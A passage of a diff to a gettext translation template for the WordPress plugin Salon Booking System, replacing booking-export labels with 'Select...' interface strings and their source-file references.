build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:29\n-msgid \"TOTAL PRICE\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:68\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:68\n+msgid \"select an option\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:124, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:24, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:124, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:124, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:30\n-msgid \"STATUS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:527\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:527\n+msgid \"Select Basic\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:131, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:131, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:131, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:15\n-msgid \"CUSTOMER FIRST NAME\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:11\n+msgid \"Select booking form layout\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:134, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:134, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:134, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:16\n-msgid \"CUSTOMER LAST NAME\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:543\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:543\n+msgid \"Select Business Plan\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:137, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:17, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:137, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:137, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:27\n-msgid \"CUSTOMER EMAIL\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:78\n+msgid \"Select existing client\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:140, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:140, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:140, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:18\n-msgid \"CUSTOMER PHONE\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:195\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:195\n+msgid \"Select file type\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:143, src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:19\n-msgid \"CUSTOMER ADDRESS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:208\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:208\n+msgid \"Select for each column the corresponding one inside your file.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:162, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:162, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:162\n-msgid \"Reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:106\n+msgid \"Select from phone\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:184, src\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FDetails.php:148, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:184, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FDetails.php:148, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:184, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FDetails.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FDetails.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FDetails.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FDetails.php:148\n-msgid \"already paid as deposit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:219\n+msgid \"Select mode\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:265, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:265, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:265\n-msgid \"Settings updated successfully!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:152\n+msgid \"Select one or more days of the week where the discount is valid\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FTools.php:274, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:274, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:274, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:274, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:274, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:274\n-msgid \"You have entered the wrong data\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:129\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fresource.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:129\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:37\n+msgid \"select one or more services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:57\n-msgid \"Basic (checks only the booking date)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:48\n+msgid \"Select or search one or more services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:58, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:58\n-msgid \"Advanced (evaluates also booking duration)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:115\n+msgid \"Select parent services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:59, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:59, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:59\n-msgid \"High end (evaluates also service duration and priority)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:159\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:159\n+msgid \"Select resource\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FBookingStatus.php:107, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:107, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:107\n-msgid \"ERROR\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:176\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:176\n+msgid \"Select service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:37\n-msgid \"Mobile phone\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:69\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:69\n+msgid \"Select services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FEnum\u002FCheckoutFields.php:38, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:38, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:38, 